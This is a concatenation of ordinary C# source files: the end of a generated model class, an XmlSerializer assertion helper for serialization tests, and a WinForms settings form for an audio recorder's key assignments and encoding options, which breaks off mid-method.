{
hashCode = (hashCode * 59) + this.Message.GetHashCode();
}
if (this.Ok != null)
{
hashCode = (hashCode * 59) + this.Ok.GetHashCode();
}
if (this.Parameters != null)
{
hashCode = (hashCode * 59) + this.Parameters.GetHashCode();
}
if (this.Submitter != null)
{
hashCode = (hashCode * 59) + this.Submitter.GetHashCode();
}
return hashCode;
}
}
/// <summary>
/// To validate all properties of the instance
/// </summary>
/// <param name="validationContext">Validation context</param>
/// <returns>Validation Result</returns>
public IEnumerable<System.ComponentModel.DataAnnotations.ValidationResult> Validate(ValidationContext validationContext)
{
yield break;
}
}
}
| |
namespace Gu.SerializationAsserts
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Xml.Linq;
using System.Xml.Serialization;
/// <summary>Test serialization using <see cref="XmlSerializer"/></summary>
public static class XmlSerializerAssert
{
/// <summary>
/// 1. serializes <paramref name="expected"/> and <paramref name="actual"/> to xml strings using <see cref="XmlSerializer"/>
/// 2. Compares the xml using <see cref="XmlAssert"/>
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="expected">The expected value</param>
/// <param name="actual">The actual value</param>
public static void Equal<T>(T expected, T actual)
{
var exml = ToXml(expected, nameof(expected));
var axml = ToXml(actual, nameof(actual));
XmlAssert.Equal(exml, axml);
}
/// <summary>
/// 1 Serializes <paramref name="actual"/> to an xml string using <see cref="XmlSerializer"/>
/// 2 Compares the xml with <paramref name="expectedXml"/>
/// 3 Creates a ContainerClass<T> this is to catch errors in ReadEndElement() when implementing <see cref="IXmlSerializable"/>
/// 4 Serializes it to xml.
/// 5 Compares the xml
/// 6 Deserializes it to container class
/// 7 Does 2 & 3 again, we repeat this to catch any errors from deserializing
/// 8 Returns roundtripped instance
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="expectedXml">The expected xml</param>
/// <param name="actual">The actual item</param>
/// <param name="options">How to compare the xml</param>
/// <returns>The roundtripped instance</returns>
public static T Equal<T>(string expectedXml, T actual, XmlAssertOptions options = XmlAssertOptions.Verbatim)
{
return Equal(expectedXml, actual, null, null, options);
}
/// <summary>
/// 1 Serializes <paramref name="actual"/> to an xml string using <see cref="XmlSerializer"/>
/// 2 Compares the xml with <paramref name="expectedXml"/>
/// 3 Creates a ContainerClass<T> this is to catch errors in ReadEndElement() when implementing <see cref="IXmlSerializable"/>
/// 4 Serializes it to xml.
/// 5 Compares the xml
/// 6 Deserializes it to container class
/// 7 Does 2 & 3 again, we repeat this to catch any errors from deserializing
/// 8 Returns roundtripped instance
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="expectedXml">The expected xml</param>
/// <param name="actual">The actual item</param>
/// <param name="elementComparer">
/// Custom element comparer
/// This comparer is used first, then the default comparer is used as fallback.
/// </param>
/// <param name="options">How to compare the xml</param>
/// <returns>The roundtripped instance</returns>
public static T Equal<T>(
string expectedXml,
T actual,
IEqualityComparer<XElement> elementComparer,
XmlAssertOptions options = XmlAssertOptions.Verbatim)
{
return Equal(expectedXml, actual, elementComparer, null, options);
}
/// <summary>
/// 1 Serializes <paramref name="actual"/> to an xml string using <see cref="XmlSerializer"/>
/// 2 Compares the xml with <paramref name="expectedXml"/>
/// 3 Creates a ContainerClass<T> this is to catch errors in ReadEndElement() when implementing <see cref="IXmlSerializable"/>
/// 4 Serializes it to xml.
/// 5 Compares the xml
/// 6 Deserializes it to container class
/// 7 Does 2 & 3 again, we repeat this to catch any errors from deserializing
/// 8 Returns roundtripped instance
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="expectedXml">The expected xml</param>
/// <param name="actual">The actual item</param>
/// <param name="attributeComparer">
/// Custom attribute comparer
/// This comparer is used first, then the default comparer is used as fallback.
/// </param>
/// <param name="options">How to compare the xml</param>
/// <returns>The roundtripped instance</returns>
public static T Equal<T>(
string expectedXml,
T actual,
IEqualityComparer<XAttribute> attributeComparer,
XmlAssertOptions options = XmlAssertOptions.Verbatim)
{
var actualXml = ToXml(actual, nameof(actual));
XmlAssert.Equal(expectedXml, actualXml, null, attributeComparer, options);
return Roundtrip(actual);
}
/// <summary>
/// 1 Serializes <paramref name="actual"/> to an xml string using <see cref="XmlSerializer"/>
/// 2 Compares the xml with <paramref name="expectedXml"/>
/// 3 Creates a ContainerClass<T> this is to catch errors in ReadEndElement() when implementing <see cref="IXmlSerializable"/>
/// 4 Serializes it to xml.
/// 5 Compares the xml
/// 6 Deserializes it to container class
/// 7 Does 2 & 3 again, we repeat this to catch any errors from deserializing
/// 8 Returns roundtripped instance
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="expectedXml">The expected xml</param>
/// <param name="actual">The actual item</param>
/// <param name="elementComparer">
/// Custom element comparer
/// This comparer is used first, then the default comparer is used as fallback.
/// </param>
/// <param name="attributeComparer">
/// Custom attribute comparer
/// This comparer is used first, then the default comparer is used as fallback.
/// </param>
/// <param name="options">How to compare the xml</param>
/// <returns>The roundtripped instance</returns>
public static T Equal<T>(
string expectedXml,
T actual,
IEqualityComparer<XElement> elementComparer,
IEqualityComparer<XAttribute> attributeComparer,
XmlAssertOptions options = XmlAssertOptions.Verbatim)
{
var actualXml = ToXml(actual, nameof(actual));
XmlAssert.Equal(expectedXml, actualXml, elementComparer, attributeComparer, options);
return Roundtrip(actual);
}
/// <summary>
/// 1. Places <paramref name="item"/> in a ContainerClass{T} container1
/// 2. Serializes container1
/// 3. Deserializes the containerXml to container2 and does FieldAssert.Equal(container1, container2);
/// 4. Serializes container2
/// 5. Checks XmlAssert.Equal(containerXml1, containerXml2, XmlAssertOptions.Verbatim);
/// </summary>
/// <typeparam name="T">The type of <paramref name="item"/></typeparam>
/// <param name="item">The instance to roundtrip</param>
/// <returns>The serialized and deserialized instance (container2.Other)</returns>
public static T Roundtrip<T>(T item)
{
Roundtripper.Simple(item, nameof(item), ToXml, FromXml<T>);
var roundtripped = Roundtripper.InContainer(
item,
nameof(item),
ToXml,
FromXml<ContainerClass<T>>,
(e, a) => XmlAssert.Equal(e, a, XmlAssertOptions.Verbatim));
FieldAssert.Equal(item, roundtripped);
return roundtripped;
}
/// <summary>
/// 1. Creates an XmlSerializer(typeof(T))
/// 2. Serialize <paramref name="item"/>
/// 3. Returns the xml
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="item">The item to serialize</param>
/// <returns>The xml representation of <paramref name="item>"/></returns>
public static string ToXml<T>(T item)
{
return ToXml(item, nameof(item));
}
/// <summary>
/// Get copy paste friendly xml for <paramref name="item"/>
/// </summary>
/// <typeparam name="T">The type of <paramref name="item"/></typeparam>
/// <param name="item">The item to serialize</param>
/// <returns>Xml escaped and ready to paste in code.</returns>
public static string ToEscapedXml<T>(T item)
{
return ToXml(item).Escape(); // wasteful allocation here but np I think;
}
/// <summary>
/// 1. Creates an XmlSerializer(typeof(T))
/// 2. Deserialize <paramref name="xml"/>
/// 3. Returns the deserialized instance
/// </summary>
/// <typeparam name="T">The type</typeparam>
/// <param name="xml">The string containing the xml</param>
/// <returns>The deserialized instance</returns>
public static T FromXml<T>(string xml)
{
return FromXml<T>(xml, nameof(xml));
}
private static T FromXml<T>(string xml, string parameterName)
{
try
{
var serializer = new XmlSerializer(typeof(T));
using (var reader = new StringReader(xml))
{
return (T)serializer.Deserialize(reader);
}
}
catch (Exception e)
{
throw AssertException.CreateFromException($"Could not deserialize {parameterName} to an instance of type {typeof(T)}", e);
}
}
private static string ToXml<T>(T item, string parameterName)
{
try
{
var serializer = new XmlSerializer(typeof(T));
using (var writer = new StringWriter())
{
serializer.Serialize(writer, item);
return writer.ToString();
}
}
catch (Exception e)
{
throw AssertException.CreateFromException($"Could not serialize{parameterName}.", e);
}
}
// ReSharper disable once UnusedMember.Local hiding object.Equals
private static new void Equals(object x, object y)
{
throw new NotSupportedException($"{x}, {y}");
}
}
}
| |
/***************************************************************************************************************************************
* Copyright (C) 2001-2012 LearnLift USA *
* Contact: Learnlift USA, 12 Greenway Plaza, Suite 1510, Houston, Texas 77046, support@memorylifter.com *
* *
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License *
* as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. *
* *
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty *
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. *
* *
* You should have received a copy of the GNU Lesser General Public License along with this library; if not, *
* write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA *
***************************************************************************************************************************************/
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using System.Globalization;
using MLifter.AudioTools.Codecs;
using MLifter.Recorder.Properties;
namespace MLifter.AudioTools
{
public partial class SettingsForm : Form
{
private Settings settings;
private SerializableDictionary<Keys, Function> backupFunctions;
private SerializableDictionary<Keys, Function> backupKeyboardFunctions;
private bool backupKeyboardMode;
private NumPadControl numPadControl;
private DictionaryManagement dictionaryManager;
private bool loading;
private ListViewItem questionItem;
private ListViewItem questionExampleItem;
private ListViewItem answerItem;
private ListViewItem answerExampleItem;
/// <summary>
/// Initializes a new instance of the <see cref="SettingsForm"/> class.
/// </summary>
/// <param name="settings">The settings.</param>
/// <param name="numPadControl">The num pad control.</param>
/// <param name="dictionaryManager">The dictionary manager.</param>
/// <remarks>Documented by Dev05, 2007-08-06</remarks>
public SettingsForm(Settings settings, NumPadControl numPadControl, DictionaryManagement dictionaryManager)
{
InitializeComponent();
ToolTip toolTip = new ToolTip();
toolTip.SetToolTip(groupBoxDelays, Resources.DELAY_DESCRIPTION);
this.settings = settings;
backupFunctions = new SerializableDictionary<Keys, Function>();
foreach (KeyValuePair<Keys, Function> pair in settings.KeyFunctions)
backupFunctions.Add(pair.Key, pair.Value);
backupKeyboardFunctions = new SerializableDictionary<Keys, Function>();
foreach (KeyValuePair<Keys, Function> pair in settings.KeyboardFunctions)
backupKeyboardFunctions.Add(pair.Key, pair.Value);
backupKeyboardMode = settings.KeyboardLayout;
this.numPadControl = numPadControl;
this.dictionaryManager = dictionaryManager;
LoadValues();
}
/// <summary>
/// Loads the values out of the settings.
/// </summary>
/// <param name="settings">The settings.</param>
/// <param name="numPadControl">The num pad control.</param>
/// <remarks>Documented by Dev05, 2007-08-07</remarks>
private void LoadValues()
{
loading = true;
checkBoxMultipleAssignment.Checked = settings.AllowMultipleAssignment;
checkBoxPresenter.Checked = settings.PresenterActivated;
comboBoxDecimal.Tag = Keys.Decimal;
comboBoxDivide.Tag = Keys.Divide;
comboBoxEnter.Tag = Keys.Enter;
comboBoxMinus.Tag = Keys.Subtract;
comboBoxMultiply.Tag = Keys.Multiply;
comboBoxNum0.Tag = Keys.NumPad0;
comboBoxNum1.Tag = Keys.NumPad1;
comboBoxNum2.Tag = Keys.NumPad2;
comboBoxNum3.Tag = Keys.NumPad3;
comboBoxNum4.Tag = Keys.NumPad4;
comboBoxNum5.Tag = Keys.NumPad5;
comboBoxNum6.Tag = Keys.NumPad6;
comboBoxNum7.Tag = Keys.NumPad7;
comboBoxNum8.Tag = Keys.NumPad8;
comboBoxNum9.Tag = Keys.NumPad9;
comboBoxPlus.Tag = Keys.Add;
comboBoxSpace.Tag = Keys.Space;
comboBoxC.Tag = Keys.C;
comboBoxV.Tag = Keys.V;
comboBoxB.Tag = Keys.B;
comboBoxN.Tag = Keys.N;
comboBoxM.Tag = Keys.M;
foreach (Control control in tabPageNumPad.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
if (comboBox.Tag is Keys)
{
comboBox.Items.Clear();
comboBox.Items.Add("");
comboBox.Items.Add(Function.Backward);
comboBox.Items.Add(Function.Forward);
comboBox.Items.Add(Function.Play);
comboBox.Items.Add(Function.Record);
if (settings.KeyFunctions.ContainsKey((Keys)comboBox.Tag))
comboBox.SelectedItem = settings.KeyFunctions[(Keys)comboBox.Tag];
}
}
}
foreach (Control control in tabPageKeyboard.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
if (comboBox.Tag is Keys)
{
comboBox.Items.Clear();
comboBox.Items.Add("");
comboBox.Items.Add(Function.Backward);
comboBox.Items.Add(Function.Forward);
comboBox.Items.Add(Function.Play);
comboBox.Items.Add(Function.Record);
if (settings.KeyboardFunctions.ContainsKey((Keys)comboBox.Tag))
comboBox.SelectedItem = settings.KeyboardFunctions[(Keys)comboBox.Tag];
}
}
}
if (!settings.AllowMultipleAssignment)
RemoveDoubleAssignemts();
numericUpDownStartDelay.Value = settings.StartDelay;
numericUpDownStopDelay.Value = settings.StopDelay;
listViewElementsToRecord.Items.Clear();
questionItem = new ListViewItem(string.Format(Resources.LISTBOXFIELDS_QUESTION_TEXT, dictionaryManager.QuestionCaption));
questionItem.Checked = settings.RecordQuestion;
questionItem.Tag = MediaItemType.Question;
questionExampleItem = new ListViewItem(string.Format(Resources.LISTBOXFIELDS_EXQUESTION_TEXT, dictionaryManager.QuestionCaption));
questionExampleItem.Checked = settings.RecordQuestionExample;
questionExampleItem.Tag = MediaItemType.QuestionExample;
answerItem = new ListViewItem(string.Format(Resources.LISTBOXFIELDS_ANSWER_TEXT, dictionaryManager.AnswerCaption));
answerItem.Checked = settings.RecordAnswer;
answerItem.Tag = MediaItemType.Answer;
answerExampleItem = new ListViewItem(string.Format(Resources.LISTBOXFIELDS_EXANSWER_TEXT, dictionaryManager.AnswerCaption));
answerExampleItem.Checked = settings.RecordAnswerExample;
answerExampleItem.Tag = MediaItemType.AnswerExample;
checkBoxDelayActive.Checked = settings.DelaysActive;
checkBoxDelayActive.Focus();
comboBoxKeyboardMode.SelectedIndex = (settings.KeyboardLayout ? 1 : 0);
for (int i = 0; i < settings.RecordingOrder.Length; i++)
{
switch (settings.RecordingOrder[i])
{
case MediaItemType.Question:
listViewElementsToRecord.Items.Add(questionItem);
break;
case MediaItemType.QuestionExample:
listViewElementsToRecord.Items.Add(questionExampleItem);
break;
case MediaItemType.Answer:
listViewElementsToRecord.Items.Add(answerItem);
break;
case MediaItemType.AnswerExample:
listViewElementsToRecord.Items.Add(answerExampleItem);
break;
}
}
////load cbr/vbr settings
//checkBoxVBR.Checked = settings.MP3Settings.VBR_enabled;
////fill bitrates combobox and select current setting
//comboBoxCBRBitrate.Items.Clear();
//foreach (string bitrateString in Properties.Resources.ENCODING_AVAILABLE_BITRATES.Split('|'))
//{
// Bitrate bitrate = new Bitrate(bitrateString);
// comboBoxCBRBitrate.Items.Add(bitrate);
// if (bitrate.Value == settings.MP3Settings.Bitrate)
// comboBoxCBRBitrate.SelectedItem = bitrate;
//}
////fill vbr quality combobox
//colorSliderVBRQuality.Value = 10 - settings.MP3Settings.VBR_Quality;
//colorSliderVBRQuality_Scroll(colorSliderVBRQuality, new ScrollEventArgs(ScrollEventType.ThumbPosition, colorSliderVBRQuality.Value));
//fill samplingrates combobox and select current setting
comboBoxSamplingRate.Items.Clear();
foreach (string samplingRateString in Resources.ENCODING_AVAILABLE_SAMPLING_RATES.Split('|'))
{
SamplingRate samplingRate = new SamplingRate(samplingRateString);
comboBoxSamplingRate.Items.Add(samplingRate);
if (samplingRate.Value == settings.SamplingRate)
comboBoxSamplingRate.SelectedItem = samplingRate;
}
//fill channels combobox and select current setting
comboBoxChannels.Items.Clear();
foreach (string channelString in Resources.ENCODING_AVAILABLE_CHANNELS.Split('|'))
comboBoxChannels.Items.Add(int.Parse(channelString));
comboBoxChannels.SelectedItem = settings.Channels;
RefillEncoderCombobox();
LoadCultures();
loading = false;
}
/// <summary>
/// Refills the encoder combobox.
/// </summary>
/// <remarks>Documented by Dev02, 2008-04-15</remarks>
private void RefillEncoderCombobox()
{
//fill combobox
comboBoxEncoder.Items.Clear();
comboBoxEncoder.Items.Add(Resources.ENCODING_NONE);
comboBoxEncoder.SelectedIndex = 0;
Codecs.Codecs codecs = new MLifter.AudioTools.Codecs.Codecs();
codecs.XMLString = settings.CodecSettings;
foreach (Codec codec in codecs.encodeCodecs.Values)
comboBoxEncoder.Items.Add(codec);
//select item
foreach (object item in comboBoxEncoder.Items)
{
if (item.ToString() == settings.SelectedEncoder)
{
comboBoxEncoder.SelectedItem = item;
break;
}
}
}
/// <summary>
/// Loads the cultures.
/// </summary>
/// <remarks>Documented by Dev05, 2007-09-11</remarks>
private void LoadCultures()
{
comboBoxAnswerCulture.Items.Clear();
comboBoxQuestionCulture.Items.Clear();
comboBoxAnswerCulture.Items.AddRange(CultureInfo.GetCultures(CultureTypes.AllCultures));
comboBoxAnswerCulture.SelectedItem = dictionaryManager.AnswerCulture;
comboBoxQuestionCulture.Items.AddRange(CultureInfo.GetCultures(CultureTypes.AllCultures));
comboBoxQuestionCulture.SelectedItem = dictionaryManager.QuestionCulture;
}
/// <summary>
/// Handles the SelectedIndexChanged event of the comboBox control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-06</remarks>
private void comboBox_SelectedIndexChanged(object sender, EventArgs e)
{
if (!loading)
{
ComboBox comboBox = (ComboBox)sender;
if (tabPageNumPad.Controls.Contains(comboBox))
settings.KeyFunctions[(Keys)comboBox.Tag] = (Function)(comboBox.SelectedItem is string ? Function.Nothing : comboBox.SelectedItem);
else if (tabPageKeyboard.Controls.Contains(comboBox))
settings.KeyboardFunctions[(Keys)comboBox.Tag] = (Function)(comboBox.SelectedItem is string ? Function.Nothing : comboBox.SelectedItem);
numPadControl.ImagesValid = false;
numPadControl.Refresh();
numPadControl.Redraw();
if (!checkBoxMultipleAssignment.Checked)
RemoveDoubleAssignemts();
}
}
/// <summary>
/// Handles the ValueChanged event of the numericUpDownStartDelay control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-06</remarks>
private void numericUpDownStartDelay_ValueChanged(object sender, EventArgs e) { }
/// <summary>
/// Handles the ValueChanged event of the numericUpDownStopDelay control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-06</remarks>
private void numericUpDownStopDelay_ValueChanged(object sender, EventArgs e) { }
/// <summary>
/// Handles the Click event of the buttonClose control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-06</remarks>
private void buttonClose_Click(object sender, EventArgs e)
{
if (listViewElementsToRecord.CheckedIndices.Count < 1)
{
MessageBox.Show(Resources.NO_ITEM_TO_RECORD_TEXT, Resources.NO_ITEM_TO_RECORD_CAPTION,
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
if (!loading)
{
settings.DelaysActive = checkBoxDelayActive.Checked;
settings.StopDelay = (int)numericUpDownStopDelay.Value;
settings.StartDelay = (int)numericUpDownStartDelay.Value;
settings.RecordAnswer = answerItem.Checked;
settings.RecordAnswerExample = answerExampleItem.Checked;
settings.RecordQuestion = questionItem.Checked;
settings.RecordQuestionExample = questionExampleItem.Checked;
dictionaryManager.AnswerCulture = comboBoxAnswerCulture.SelectedItem as CultureInfo;
dictionaryManager.QuestionCulture = comboBoxQuestionCulture.SelectedItem as CultureInfo;
settings.AllowMultipleAssignment = checkBoxMultipleAssignment.Checked;
settings.PresenterActivated = checkBoxPresenter.Checked;
for (int i = 0; i < listViewElementsToRecord.Items.Count; i++)
settings.RecordingOrder[i] = (MediaItemType)listViewElementsToRecord.Items[i].Tag;
//settings.MP3Settings.VBR_enabled = checkBoxVBR.Checked;
//if (settings.MP3Settings.VBR_enabled)
//{
// settings.MP3Settings.Bitrate = (comboBoxCBRBitrate.Items[0] as Bitrate).Value;
// settings.MP3Settings.VBR_maxBitrate = (comboBoxCBRBitrate.Items[comboBoxCBRBitrate.Items.Count - 1] as Bitrate).Value;
// settings.MP3Settings.VBR_Quality = 10 - colorSliderVBRQuality.Value;
//}
//else
// settings.MP3Settings.Bitrate = (comboBoxCBRBitrate.SelectedItem as Bitrate).Value;
if (comboBoxEncoder.SelectedItem != null)
settings.SelectedEncoder = comboBoxEncoder.SelectedItem.ToString();
settings.SamplingRate = (comboBoxSamplingRate.SelectedItem as SamplingRate).Value;
settings.Channels = (int)comboBoxChannels.SelectedItem;
}
this.DialogResult = DialogResult.OK;
Close();
}
}
/// <summary>
/// Handles the Click event of the buttonDefault control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-07</remarks>
private void buttonDefault_Click(object sender, EventArgs e)
{
//settings = new Settings(); //[MLR-1300] New instance causes settings not to be saved
Settings defaultSettings = new Settings();
settings.StartDelay = defaultSettings.StartDelay;
settings.StopDelay = defaultSettings.StopDelay;
settings.DelaysActive = defaultSettings.DelaysActive;
settings.SelectedEncoder = defaultSettings.SelectedEncoder;
settings.ShowEncoderWindow = defaultSettings.ShowEncoderWindow;
settings.SamplingRate = defaultSettings.SamplingRate;
settings.Channels = defaultSettings.Channels;
settings.AllowMultipleAssignment = defaultSettings.AllowMultipleAssignment;
settings.KeyFunctions.Clear();
settings.KeyFunctions.Add(Keys.NumPad0, STANDART_FUNCTIONS.KEY_0);
settings.KeyFunctions.Add(Keys.NumPad1, STANDART_FUNCTIONS.KEY_1);
settings.KeyFunctions.Add(Keys.NumPad2, STANDART_FUNCTIONS.KEY_2);
settings.KeyFunctions.Add(Keys.NumPad3, STANDART_FUNCTIONS.KEY_3);
settings.KeyFunctions.Add(Keys.NumPad4, STANDART_FUNCTIONS.KEY_4);
settings.KeyFunctions.Add(Keys.NumPad5, STANDART_FUNCTIONS.KEY_5);
settings.KeyFunctions.Add(Keys.NumPad6, STANDART_FUNCTIONS.KEY_6);
settings.KeyFunctions.Add(Keys.NumPad7, STANDART_FUNCTIONS.KEY_7);
settings.KeyFunctions.Add(Keys.NumPad8, STANDART_FUNCTIONS.KEY_8);
settings.KeyFunctions.Add(Keys.NumPad9, STANDART_FUNCTIONS.KEY_9);
settings.KeyFunctions.Add(Keys.Decimal, STANDART_FUNCTIONS.KEY_COMMA);
settings.KeyFunctions.Add(Keys.Enter, STANDART_FUNCTIONS.KEY_ENTER);
settings.KeyFunctions.Add(Keys.Add, STANDART_FUNCTIONS.KEY_PLUS);
settings.KeyFunctions.Add(Keys.Subtract, STANDART_FUNCTIONS.KEY_MINUS);
settings.KeyFunctions.Add(Keys.Multiply, STANDART_FUNCTIONS.KEY_MULTIPLY);
settings.KeyFunctions.Add(Keys.Divide, STANDART_FUNCTIONS.KEY_DIVIDE);
settings.KeyboardFunctions.Clear();
settings.KeyboardFunctions.Add(Keys.Space,STANDART_FUNCTIONS.KEY_SPACE);
settings.KeyboardFunctions.Add(Keys.C, STANDART_FUNCTIONS.KEY_C);
settings.KeyboardFunctions.Add(Keys.V, STANDART_FUNCTIONS.KEY_V);
settings.KeyboardFunctions.Add(Keys.B, STANDART_FUNCTIONS.KEY_B);
settings.KeyboardFunctions.Add(Keys.N, STANDART_FUNCTIONS.KEY_N);
settings.KeyboardFunctions.Add(Keys.M, STANDART_FUNCTIONS.KEY_M);
LoadValues();
LoadCultures();
numPadControl.ImagesValid = false;
numPadControl.Refresh();
numPadControl.Redraw();
}
/// <summary>
/// Handles the CheckedChanged event of the checkBoxDelayActive control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-21</remarks>
private void checkBoxDelayActive_CheckedChanged(object sender, EventArgs e)
{
numericUpDownStartDelay.Enabled = checkBoxDelayActive.Checked;
labelStartDelay.Enabled = checkBoxDelayActive.Checked;
labelStartDelayMS.Enabled = checkBoxDelayActive.Checked;
numericUpDownStopDelay.Enabled = checkBoxDelayActive.Checked;
labelStopDelay.Enabled = checkBoxDelayActive.Checked;
labelStopDelayMS.Enabled = checkBoxDelayActive.Checked;
}
/// <summary>
/// Handles the Click event of the buttonCancel control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-21</remarks>
private void buttonCancel_Click(object sender, EventArgs e)
{
DialogResult = DialogResult.Cancel;
Close();
}
/// <summary>
/// Handles the CheckedChanged event of the checkBoxMultipleAssignment control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-08-21</remarks>
private void checkBoxMultipleAssignment_CheckedChanged(object sender, EventArgs e)
{
if (!checkBoxMultipleAssignment.Checked)
{
Keys key = RemoveDoubleAssignemts();
loading = false;
if (key != Keys.FinalMode)
{
List<Keys> assignetKeys = new List<Keys>();
if (settings.KeyFunctions.ContainsKey(key))
foreach (KeyValuePair<Keys, Function> pair in settings.KeyFunctions)
{
if (pair.Value == settings.KeyFunctions[key])
assignetKeys.Add(pair.Key);
}
else
foreach (KeyValuePair<Keys, Function> pair in settings.KeyboardFunctions)
{
if (pair.Value == settings.KeyboardFunctions[key])
assignetKeys.Add(pair.Key);
}
string text = (settings.KeyFunctions.ContainsKey(key) ? settings.KeyFunctions[key] : settings.KeyboardFunctions[key])
+ Resources.MULTIPLE_KEY_ASSIGNMENT_ERROR_TEXT + "\n\r";
foreach (Keys assignetKey in assignetKeys)
text += " * " + assignetKey + "\n\r";
MessageBox.Show(text, Resources.MULTIPLE_KEY_ASSIGNMENT_ERROR_CAPTION, MessageBoxButtons.OK, MessageBoxIcon.Information);
checkBoxMultipleAssignment.Checked = true;
}
}
else
{
foreach (Control control in tabPageNumPad.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
comboBox.Items.Clear();
comboBox.Items.Add("");
comboBox.Items.Add(Function.Backward);
comboBox.Items.Add(Function.Forward);
comboBox.Items.Add(Function.Play);
comboBox.Items.Add(Function.Record);
try
{
comboBox.SelectedItem = settings.KeyFunctions[(Keys)comboBox.Tag];
}
catch (NullReferenceException)
{
comboBox.SelectedIndex = 0;
}
}
}
foreach (Control control in tabPageKeyboard.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
comboBox.Items.Clear();
comboBox.Items.Add("");
comboBox.Items.Add(Function.Backward);
comboBox.Items.Add(Function.Forward);
comboBox.Items.Add(Function.Play);
comboBox.Items.Add(Function.Record);
try
{
comboBox.SelectedItem = settings.KeyboardFunctions[(Keys)comboBox.Tag];
}
catch (KeyNotFoundException)
{
comboBox.SelectedIndex = 0;
}
catch (NullReferenceException)
{
comboBox.SelectedIndex = 0;
}
}
}
}
}
/// <summary>
/// Removes the double assignemts.
/// </summary>
/// <remarks>Documented by Dev05, 2007-08-21</remarks>
private Keys RemoveDoubleAssignemts()
{
loading = true;
List<Function> availableFunctions = new List<Function>();
availableFunctions.Add(Function.Backward);
availableFunctions.Add(Function.Forward);
availableFunctions.Add(Function.Play);
availableFunctions.Add(Function.Record);
foreach (Control control in tabPageNumPad.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
if (comboBox.SelectedItem is Function && availableFunctions.Contains((Function)comboBox.SelectedItem))
availableFunctions.Remove((Function)comboBox.SelectedItem);
else if (comboBox.SelectedItem is Function)
return (Keys)comboBox.Tag;
}
}
foreach (Control control in tabPageNumPad.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
Function actualFunction = Function.Nothing;
if (comboBox.SelectedItem is Function)
actualFunction = (Function)comboBox.SelectedItem;
comboBox.Items.Clear();
if (actualFunction != Function.Nothing)
comboBox.Items.Add(actualFunction);
comboBox.Items.Add("");
foreach (Function function in availableFunctions)
comboBox.Items.Add(function);
comboBox.SelectedIndex = 0;
}
}
availableFunctions = new List<Function>();
availableFunctions.Add(Function.Backward);
availableFunctions.Add(Function.Forward);
availableFunctions.Add(Function.Play);
availableFunctions.Add(Function.Record);
foreach (Control control in tabPageKeyboard.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
if (comboBox.SelectedItem is Function && availableFunctions.Contains((Function)comboBox.SelectedItem))
availableFunctions.Remove((Function)comboBox.SelectedItem);
else if (comboBox.SelectedItem is Function)
return (Keys)comboBox.Tag;
}
}
foreach (Control control in tabPageKeyboard.Controls)
{
if (control.GetType() == typeof(ComboBox))
{
ComboBox comboBox = (ComboBox)control;
Function actualFunction = Function.Nothing;
if (comboBox.SelectedItem is Function)
actualFunction = (Function)comboBox.SelectedItem;
comboBox.Items.Clear();
if (actualFunction != Function.Nothing)
comboBox.Items.Add(actualFunction);
comboBox.Items.Add("");
foreach (Function function in availableFunctions)
comboBox.Items.Add(function);
comboBox.SelectedIndex = 0;
}
}
loading = false;
return Keys.FinalMode;
}
/// <summary>
/// Handles the FormClosing event of the SettingsForm control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.Windows.Forms.FormClosingEventArgs"/> instance containing the event data.</param>
/// <remarks>Documented by Dev05, 2007-09-11</remarks>
private void SettingsForm_FormClosing(object sender, FormClosingEventArgs e)
{
if (this.DialogResult == DialogResult.OK)
return;
settings.KeyFunctions.Clear();
settings.KeyboardFunctions.Clear();
foreach (KeyValuePair<Keys, Function> pair in backupFunctions)
settings.KeyFunctions.Add(pair.Key, pair.Value);
